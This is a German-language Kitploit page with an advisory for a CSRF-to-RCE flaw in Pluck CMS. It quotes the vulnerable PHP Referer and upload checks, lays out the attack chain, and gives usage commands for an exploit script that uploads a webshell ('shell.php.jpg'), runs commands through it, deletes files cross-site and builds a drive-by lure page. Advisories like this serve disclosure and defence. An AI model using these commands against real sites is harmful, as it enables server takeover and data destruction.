CVE-2026-70376 — Advisory und Python-PoC für Pluck-CMS-CSRF: Fail-open-Referer-Prüfung plus Upload mit doppelter Dateiendung ermöglicht die Bereitstellung einer Webshell und Remote-Code-Ausführung. | Kitploit


CVE-ID	CVE-2026-70376
Tracking-ID	PT-2026-68036
Produkt	`pluck-cms/pluck` — Pluck CMS (flat-file PHP)
Betroffen	4.7.x bis 4.7.21-dev / aktueller `master`
Schwachstelle	CWE-352 (CSRF) · CWE-434 (uneingeschränkter Upload, Verstärker)
CVSS v3.1	8.0 — Hoch · `AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H`
Vektor	Netzwerk · keine Privilegien · ein einziger Admin-Seitenbesuch (UI:R)
Auswirkung	Inhaltslöschung/DoS, Injektion gespeicherter Inhalte, RCE auf Apache/mod_php
Eingeführt	Commit `f79f916` (Dez. 2019) — verwundbare Logik seither vorhanden
Forscher	Ilhomjon Rustamov (@IlhomjonR)

function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

Aktion	Methode	Auswirkung
`admin.php?action=deletefile&var1=<f>`	GET	Beliebige hochgeladene Datei löschen
`admin.php?action=deletepage&...`	GET	Website-Seiten löschen (DoS)
`admin.php?action=module_delete&...`	GET	Module entfernen
`admin.php?action=logout`	GET	Admin abmelden
`admin.php?action=editpage`	POST	Gespeicherten Seiteninhalt injizieren
`admin.php?action=images` (Upload)	POST	`shell.php.jpg` platzieren → RCE

pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Datum	Ereignis
2019-12	Verwundbare `requestedByTheSameDomain()`-Logik eingeführt (`f79f916`)
2026-07-08	Durch Quellcode-Audit entdeckt; End-to-End-PoC verifiziert
2026-08-10	Advisory entworfen (PT-2026-68036)
2026-08-12	CVE-2026-70376 zugewiesen; Advisory + PoC veröffentlicht

CVE-2026-70376

Beliebteste

📋 Auf einen Blick

🔎 Zusammenfassung

🧬 Grundursache

1. Fail-open-Referer-Prüfung — `data/inc/functions.admin.php`

3. Upload mit doppelter Dateiendung — `data/inc/images.php` (RCE-Verstärker)

⛓️ Angriffskette

💥 Exploit

🛠️ Behebung

🕒 Zeitleiste

📚 Referenzen

⚖️ Haftungsausschluss

CVE-2026-70376

Beliebteste

CVE-2026-70376 — Pluck CMS Website-weite CSRF → RCE

Fail-open-Referer-Prüfung + keine CSRF-Tokens + Upload mit doppelter Endung